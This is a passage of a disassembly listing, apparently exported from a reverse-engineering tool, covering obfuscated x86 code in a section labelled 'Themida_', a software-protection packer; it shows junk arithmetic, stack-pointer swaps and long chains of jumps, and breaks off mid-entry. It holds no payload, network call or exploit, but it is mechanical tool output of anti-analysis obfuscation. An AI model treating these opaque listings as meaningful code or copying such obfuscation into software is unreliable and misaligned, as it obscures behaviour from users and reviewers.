jmp loc_572B46 ; END OF FUNCTION CHUNK FOR sub_560EA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566C83 loc_571011: ; CODE XREF: sub_566C83+2706j add esp, 4 sub eax, ebp mov ebp, [esp+0] add esp, 4 sub esp, 4 mov [esp+0], ecx push 134F459Eh pop ecx push ebx push 5F9E00CDh mov ebx, [esp+0] sub esp, 4 mov [esp+4+var_4], edx jmp loc_572C7C ; END OF FUNCTION CHUNK FOR sub_566C83 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5726BB loc_57103F: ; CODE XREF: sub_5726BB-AE6Aj pop esp push eax mov eax, 2 push edi mov edi, 41C54EF1h dec edi shr edi, 3 jmp loc_57473A ; END OF FUNCTION CHUNK FOR sub_5726BB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_571055: ; CODE XREF: sub_564D26+D61Ej pop edi jmp loc_57210B ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567CF5 loc_57105B: ; CODE XREF: sub_567CF5+56E0j sub edx, 2D615C1Eh mov ebp, [esp+8+var_8] add esp, 4 jmp loc_565ADD ; END OF FUNCTION CHUNK FOR sub_567CF5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C3E2 loc_57106C: ; CODE XREF: sub_56C3E2+223Aj add ebx, 0FFFFFFFFh inc ebx shl ebx, 8 sub ebx, 128B3DD9h sub ebp, ebx pop ebx jmp loc_56219D ; END OF FUNCTION CHUNK FOR sub_56C3E2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E0B0 loc_571081: ; CODE XREF: sub_56E0B0-BDBCj pop ecx pop ebp jmp sub_573167 ; END OF FUNCTION CHUNK FOR sub_56E0B0 ; =============== S U B R O U T I N E ======================================= sub_571088 proc near ; CODE XREF: sub_5729F9-E67Fj var_E = dword ptr -0Eh var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = word ptr 4 arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 00560446 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00560738 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00560FDF SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00562289 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00562F6A SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00564134 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056423D SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00565713 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00565EA5 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00565ECF SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005665AF SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00566A1A SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00566BFE SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00566DE6 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 005672A6 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00567B96 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005681C8 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056843A SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005688B9 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00569800 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056A6B0 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056AB74 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056AEB7 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056B19C SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056EB60 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056EE69 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0056F0EB SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0056F318 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0056F395 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056F878 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00570153 SIZE 0000003A BYTES ; FUNCTION CHUNK AT 005708A0 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00570B5F SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00571FB5 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0057245A SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0057281E SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00573150 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00573B54 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00574BC4 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00574C42 SIZE 00000025 BYTES push bx mov bl, 0D2h add al, bl pop bx add al, 0D5h add al, 75h push [esp+2+var_4+2] mov ebx, [esp+6+var_8+2] jmp loc_56AEB7 sub_571088 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_57109F proc near ; DATA XREF: Themida_:0055FEC0o var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005601A2 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056A338 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056B0D4 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056B881 SIZE 00000057 BYTES ; FUNCTION CHUNK AT 0056D5CD SIZE 00000019 BYTES ; FUNCTION CHUNK AT 005720EF SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00573ABF SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00573E4B SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005741E8 SIZE 00000018 BYTES push 1FDEh mov [esp+4+var_4], esi jmp loc_56D5CD sub_57109F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568764 loc_5710AC: ; CODE XREF: sub_568764-351Bj push esi mov esi, 4 add ebp, esi jmp loc_56A6CB ; END OF FUNCTION CHUNK FOR sub_568764 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574304 loc_5710B9: ; CODE XREF: sub_574304+B35j mov edx, ebp pop ebp xor esi, edx jmp loc_56395A ; END OF FUNCTION CHUNK FOR sub_574304 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564CDA loc_5710C3: ; CODE XREF: sub_564CDA+1Cj add eax, edx mov edx, [esp-4+arg_0] add esp, 4 sub eax, 4 xchg eax, [esp-8+arg_4] pop esp mov [esp+0], eax mov eax, 3FD319C6h jmp loc_56F61F ; END OF FUNCTION CHUNK FOR sub_564CDA ; --------------------------------------------------------------------------- loc_5710E1: ; CODE XREF: Themida_:0056E21Bj xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] mov [esp], edx push eax pushf jmp loc_56E5D0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56638C loc_5710F7: ; CODE XREF: sub_56638C-55E3j jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_56638C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5620B7 loc_5710FC: ; CODE XREF: sub_5620B7+3D3Cj dec al xor al, 0B8h mov dh, al pop eax jmp loc_56A82B ; END OF FUNCTION CHUNK FOR sub_5620B7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561F05 loc_571108: ; CODE XREF: sub_561F05+98E6j pop eax add ebp, esi pop esi add ebp, esi sub ebp, 597361B3h pop esi sub ebp, 4 xchg ebp, [esp+4+var_4] pop esp mov [esp+0], esi mov esi, esp push 3497h mov [esp+4+var_4], edx push eax mov eax, 50E64775h add eax, 2915283Fh xor eax, 4FA8128Bh dec eax xor eax, 499E11D3h add eax, 80329317h mov edx, eax jmp loc_56F48C ; END OF FUNCTION CHUNK FOR sub_561F05 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B06D loc_57114E: ; CODE XREF: sub_56B06D-2119j mov ebp, esp add ebp, 4 add ebp, 4 push ebp push [esp+24h+var_20] mov ebp, [esp+0] add esp, 4 pop [esp+24h+var_24] pop esp jmp loc_569C7B ; END OF FUNCTION CHUNK FOR sub_56B06D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56A119 loc_57116D: ; CODE XREF: sub_56A119+7A4j push dword ptr [esp+0] jmp loc_570F5B ; END OF FUNCTION CHUNK FOR sub_56A119 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5634AF loc_571175: ; CODE XREF: sub_5634AF+5DFBj push eax jmp loc_562CA5 ; END OF FUNCTION CHUNK FOR sub_5634AF ; =============== S U B R O U T I N E ======================================= sub_57117B proc near ; CODE XREF: sub_569E1B-148Ej var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005657EA SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0057148F SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00571ABE SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005730A7 SIZE 00000033 BYTES sub esp, 4 mov [esp+4+var_4], ebx mov bl, 0E2h add bl, 0D0h add al, bl jmp loc_5730A7 sub_57117B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_57118D: ; CODE XREF: sub_57354D-1934j add ecx, 4 xchg ecx, [esp+10h+var_10] mov esp, [esp+10h+var_10] pop [esp+4+var_4] jmp loc_569C1D ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563ADF loc_5711A1: ; CODE XREF: sub_563ADF+Ej mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp+8+var_8] jmp loc_5739A9 ; END OF FUNCTION CHUNK FOR sub_563ADF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569A84 loc_5711B7: ; CODE XREF: sub_569A84-6241j sub eax, 18F71FDCh jmp loc_56BD80 ; END OF FUNCTION CHUNK FOR sub_569A84 ; --------------------------------------------------------------------------- loc_5711C1: ; DATA XREF: Themida_:0055FCD8o mov cx, [esp] push 278Dh jmp loc_56FAB9 ; --------------------------------------------------------------------------- loc_5711CF: ; CODE XREF: Themida_:00562F4Dj xor edi, edx jmp loc_56B194 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56A016 loc_5711D6: ; CODE XREF: sub_56A016+43E5j pop ebx push 16F8h mov [esp-4+arg_0], ebx mov ebx, esp push ecx jmp loc_567EA2 ; END OF FUNCTION CHUNK FOR sub_56A016 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571F6F loc_5711E7: ; CODE XREF: sub_571F6F-E73Dj sub ch, ah mov eax, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+14h+var_14] pop esp push cx not byte ptr [esp+12h+var_14+3] pop cx shr ch, 5 sub esp, 4 mov [esp+14h+var_14], edx mov dl, 70h or dl, 0EEh sub dl, 2Dh push ax mov ah, 35h jmp loc_572628 ; END OF FUNCTION CHUNK FOR sub_571F6F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56628B loc_571221: ; CODE XREF: sub_56628B+1452j push 5BB1h mov [esp+10h+var_10], edx mov edx, 0FE7088Bh jmp loc_56FD0F ; END OF FUNCTION CHUNK FOR sub_56628B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570FB7 loc_571233: ; CODE XREF: sub_570FB7-CF31j push 607D5FCCh pop eax jmp loc_56F507 ; END OF FUNCTION CHUNK FOR sub_570FB7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5610CE loc_57123E: ; CODE XREF: sub_5610CE+3FF0j mov ecx, 522DE6D8h add ecx, edx jmp loc_56F379 ; END OF FUNCTION CHUNK FOR sub_5610CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5685B2 loc_57124A: ; CODE XREF: sub_5685B2-5B37j push 0 jmp loc_56D9AA ; END OF FUNCTION CHUNK FOR sub_5685B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572E16 loc_571254: ; CODE XREF: sub_572E16-B2F2j push esi mov esi, esp jmp loc_56553A ; END OF FUNCTION CHUNK FOR sub_572E16 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571C0A loc_57125C: ; CODE XREF: sub_571C0A-11623j xor [esp+0], eax xor eax, [esp+0] mov esp, [esp+0] jmp loc_566BD8 ; END OF FUNCTION CHUNK FOR sub_571C0A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56DAB2 loc_57126A: ; CODE XREF: sub_56DAB2-7508j add eax, 42270DB1h push ecx mov ecx, 314D2FB5h sub ecx, 75E659B0h sub ecx, 4D5D5BE3h shr ecx, 8 jmp loc_564051 ; END OF FUNCTION CHUNK FOR sub_56DAB2 ; =============== S U B R O U T I N E ======================================= sub_571289 proc near ; CODE XREF: sub_5736FA-E5EDj var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0056046F SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00561D95 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005628DF SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00568D69 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005696FE SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0056A3BB SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056BA12 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056C7F1 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0056CD7A SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056F080 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00570E38 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00572462 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005725D6 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00573513 SIZE 00000019 BYTES sub esp, 4 mov [esp+0], ecx jmp loc_570E38 sub_571289 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574656 loc_571294: ; CODE XREF: sub_574656-B414j and eax, edi mov edi, [esp+0] add esp, 4 xor eax, 114082h push 451Fh mov [esp+0], eax push ebx mov ebx, 288D37A7h add dword ptr [esp+4], 5EDC7FDCh add [esp+4], ebx jmp loc_56451C ; END OF FUNCTION CHUNK FOR sub_574656 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56616D loc_5712C3: ; CODE XREF: sub_56616D-39A4j push 4C95h mov [esp-4+arg_0], ecx push esi mov esi, 191D3D5Dh mov ecx, esi jmp loc_561298 ; END OF FUNCTION CHUNK FOR sub_56616D ; --------------------------------------------------------------------------- loc_5712D8: ; CODE XREF: Themida_:0056FCBFj mov ebx, 0D0780520h jmp loc_56A273 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5609A1 loc_5712E2: ; CODE XREF: sub_5609A1+131D7j mov bl, al mov [edx], bl jmp loc_56CC03 ; END OF FUNCTION CHUNK FOR sub_5609A1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5673C3 loc_5712EB: ; CODE XREF: sub_5673C3+58BAj inc eax dec eax neg eax xor eax, ebx xor ebx, eax xor eax, ebx jmp loc_566125 ; END OF FUNCTION CHUNK FOR sub_5673C3 ; --------------------------------------------------------------------------- loc_5712FA: ; CODE XREF: Themida_:0057466Dj xchg ecx, [esp] mov esp, [esp] mov ax, [esp] push 1415h mov [esp], ebp push 2258h mov [esp], esp jmp loc_5701EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CC46 loc_571319: ; CODE XREF: sub_56CC46+2D0j pop ebx xchg esi, [esp+0Ch+var_C] jmp loc_565BFA ; END OF FUNCTION CHUNK FOR sub_56CC46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567866 loc_571322: ; CODE XREF: sub_567866+4j push 208Ch mov [esp+4+var_4], eax sub esp, 4 push esp pop [esp+0Ch+var_C] add [esp+8+var_8], 4 push [esp+8+var_8] mov eax, [esp+0Ch+var_C] add esp, 4 push ecx push esp pop ecx add ecx, 4 add ecx, 4 xchg ecx, [esp+0Ch+var_C] mov esp, [esp+0Ch+var_C] push edi mov edi, 4 add eax, 5F067FEh add eax, edi jmp loc_56B8FB ; END OF FUNCTION CHUNK FOR sub_567866 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5678CB loc_57136E: ; CODE XREF: sub_5678CB+86BAj xor eax, edi pop edi push ebp mov ebp, 7EFF61E7h push 4BC5h mov [esp], edi mov edi, 1D0C6B59h xor ebp, edi pop edi sub edi, ebp jmp loc_57252D ; END OF FUNCTION CHUNK FOR sub_5678CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567D72 loc_57138E: ; CODE XREF: sub_567D72-3790j xor [esp+8+var_8], eax xor eax, [esp+8+var_8] pop esp mov [esp+4+var_4], ecx sub esp, 4 push esp pop [esp+0Ch+var_C] jmp loc_5613F9 ; END OF FUNCTION CHUNK FOR sub_567D72 ; =============== S U B R O U T I N E ======================================= sub_5713A7 proc near ; DATA XREF: Themida_:0055FDB4o var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 ; FUNCTION CHUNK AT 005618F3 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00561DB1 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00562CAE SIZE 0000003B BYTES ; FUNCTION CHUNK AT 00564D6B SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005654AE SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005656F5 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00566C09 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00566D1B SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056782E SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00569762 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005697C7 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0056A6D7 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0056B4EC SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0056CC2D SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0056D244 SIZE 0000002A BYTES ; FUNCTION CHUNK AT 0056F18F SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0056F520 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056FA23 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00571CA7 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00572065 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005720DA SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005728D0 SIZE 0000000E BYTES push edx mov edx, 3Ch push 4A0Bh mov [esp+8+var_8], eax mov eax, 144A11F8h inc eax or eax, 7D683644h xor eax, 1000DB7h shr eax, 8 xor eax, 9B16363h add edx, eax pop eax sub esp, 4 mov [esp+8+var_8], eax jmp loc_5654AE sub_5713A7 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561027 loc_5713DE: ; CODE XREF: sub_561027+68DEj mov edi, 38755226h add edi, 48367338h jmp loc_571B3F ; END OF FUNCTION CHUNK FOR sub_561027 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567049 loc_5713EE: ; CODE XREF: sub_567049+20F0j pop edx xchg ebx, ebp xor [esp+0], ebp xor ebp, [esp+0] jmp loc_565A87 ; END OF FUNCTION CHUNK FOR sub_567049 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56DA36 loc_5713FC: ; CODE XREF: sub_56DA36-3E54j pop ebp sub edi, ecx pop ecx mov ebp, [esp+0] jmp loc_560BB1 ; END OF FUNCTION CHUNK FOR sub_56DA36 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569B75 loc_571408: ; CODE XREF: sub_569B75-61F3j mov eax, ebp pop ebp and eax, 19D938F2h jmp loc_5673FB ; END OF FUNCTION CHUNK FOR sub_569B75 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56DBD1 loc_571415: ; CODE XREF: sub_56DBD1-258Aj push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+8+var_8] pop esp push [esp+4+var_4] pop eax jmp loc_562388 ; END OF FUNCTION CHUNK FOR sub_56DBD1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574304 loc_57142E: ; CODE XREF: sub_574304-DCE2j mov [esp+0], ebx push esi jmp loc_568B4B ; END OF FUNCTION CHUNK FOR sub_574304 ; --------------------------------------------------------------------------- loc_571437: ; CODE XREF: Themida_:0057350Ej mov edx, esp add edx, 4 jmp loc_56841C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5604FE loc_571444: ; CODE XREF: sub_5604FE+14B9Aj mov esi, ebx pop ebx inc esi or esi, 1179456Fh inc esi shl esi, 6 neg esi sub esi, 0A1ADFFFCh add ecx, esi mov esi, [esp+8+var_8] push ebx push esp jmp loc_563C94 ; END OF FUNCTION CHUNK FOR sub_5604FE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569DB5 loc_571466: ; CODE XREF: sub_569DB5+81C8j push esp pop ecx jmp loc_566BF2 ; END OF FUNCTION CHUNK FOR sub_569DB5 ; =============== S U B R O U T I N E ======================================= sub_57146D proc near ; DATA XREF: Themida_:0055FEF0o var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = word ptr 4 ; FUNCTION CHUNK AT 005602FC SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00561968 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00562FCD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005641E5 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00564B37 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00565823 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00565B5B SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005679C6 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00567E64 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00568C8E SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0056A4BD SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056ACD5 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056ACEF SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056B53C SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056B80A SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0056BC81 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0056D835 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056D85F SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0056E179 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0056EEB3 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056F294 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056F2AC SIZE 0000003E BYTES ; FUNCTION CHUNK AT 0056FD84 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0056FDE4 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056FF95 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005707A4 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005717A3 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00571F92 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00571FCA SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00572E83 SIZE 00000010 BYTES lodsb xor al, bl push 472Fh jmp loc_5679C6 sub_57146D endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D414 loc_57147A: ; CODE XREF: sub_56D414+Fj mov [esp+8+var_8], esp jmp sub_5715F0 ; END OF FUNCTION CHUNK FOR sub_56D414 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561F05 loc_571482: ; CODE XREF: sub_561F05+4C2Dj dec esi push eax sub esp, 4 mov [esp+14h+var_14], edx jmp loc_56BA56 ; END OF FUNCTION CHUNK FOR sub_561F05 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57117B loc_57148F: ; CODE XREF: sub_57117B-B976j mov cl, 56h push eax mov al, 38h sub cl, al pop eax jmp sub_56489B ; END OF FUNCTION CHUNK FOR sub_57117B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566DFE loc_57149C: ; CODE XREF: sub_566DFE-23C4j add edi, 67A0486Ah sub edi, 5BF202DCh pop esi xor edi, [esp-8+arg_4] xor [esp-8+arg_4], edi xor edi, [esp-8+arg_4] mov esp, [esp-8+arg_4] test cx, ax pushf jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_566DFE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562EB3 loc_5714BE: ; CODE XREF: sub_562EB3+6j mov eax, 4 add esi, eax pop eax sub esi, 4 jmp loc_56A284 ; END OF FUNCTION CHUNK FOR sub_562EB3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_5714CE: ; CODE XREF: sub_564D26+967Ej add esp, 4 push 6BA8h jmp loc_56FF43 ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5619EF loc_5714DB: ; CODE XREF: sub_5619EF+4j jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_5619EF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568E5C loc_5714E0: ; CODE XREF: sub_568E5C-20F5j pop edx xor edi, ebx pop ebx shl edi, 3 add edi, 1740E29h add eax, edi pop edi jmp loc_564D7A ; END OF FUNCTION CHUNK FOR sub_568E5C ; --------------------------------------------------------------------------- loc_5714F5: ; CODE XREF: Themida_:005720EAj xor ebp, 37A06D8Ch xor ebp, 9BADBBA5h or edi, ebp pop ebp sub edi, 0FFFFFFFFh jmp loc_572012 ; --------------------------------------------------------------------------- loc_57150C: ; CODE XREF: Themida_:00561377j add esp, 4 neg ebp add ebp, 65E56AFAh sub ebp, 0F53D1ED4h mov eax, ebp pop ebp add edx, 7D5B0B81h sub edx, eax jmp loc_563DF6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_57152D: ; CODE XREF: sub_561418+12C1Cj mov edi, 661715D5h inc edi xor edi, 6344361Ah add ecx, edi pop edi jmp loc_569ED9 ; END OF FUNCTION CHUNK FOR sub_561418 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5684A6 loc_571541: ; CODE XREF: sub_5684A6-2881j xor esi, [esp+4+var_4] pop esp mov [esp+0], edx jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_5684A6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_57154D: ; CODE XREF: sub_57354D-7886j mov eax, [esp+0Ch+var_C] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+10h+var_10] pop esp xor edx, 16FC1E8Fh jmp loc_574A34 ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560C12 loc_57156B: ; CODE XREF: sub_560C12+Fj add ebx, 4 sub ebx, 4 jmp loc_5625CE ; END OF FUNCTION CHUNK FOR sub_560C12 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B11B loc_57157C: ; CODE XREF: sub_56B11B-6187j add [esp+10h+var_10], 3D1274E9h pop esi not esi inc esi shr esi, 3 xor esi, 0C4C08B1h mov eax, esi jmp loc_561F4A ; END OF FUNCTION CHUNK FOR sub_56B11B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56EE9F loc_571597: ; CODE XREF: sub_56EE9F-12D3j inc eax xor eax, 6A82C1BBh add ebp, eax pop eax shr ebp, 1 jmp loc_575121 ; END OF FUNCTION CHUNK FOR sub_56EE9F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570FB7 loc_5715A7: ; CODE XREF: sub_570FB7-4B48j add ebx, 4 xchg ebx, [esp+0] pop esp add esp, 4 pop eax sub [edi+24h], ebx jmp loc_56BA40 ; END OF FUNCTION CHUNK FOR sub_570FB7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56EFD2 loc_5715BD: ; CODE XREF: sub_56EFD2-B558j pop dword ptr [esp+0] mov esp, [esp-4+arg_0] btc word ptr [esp-4+arg_0], ax pushf jmp loc_573939 ; END OF FUNCTION CHUNK FOR sub_56EFD2 ; --------------------------------------------------------------------------- loc_5715CE: ; CODE XREF: Themida_:0056A27Fj sub esp, 4 mov [esp], eax mov eax, 3CA8369Dh or ebp, eax pop eax xor ebp, 47A37BEAh sub ebp, 5E100CE4h shl ebp, 6 jmp loc_56C055 ; =============== S U B R O U T I N E ======================================= sub_5715F0 proc near ; CODE XREF: sub_56D414+4069j var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00560296 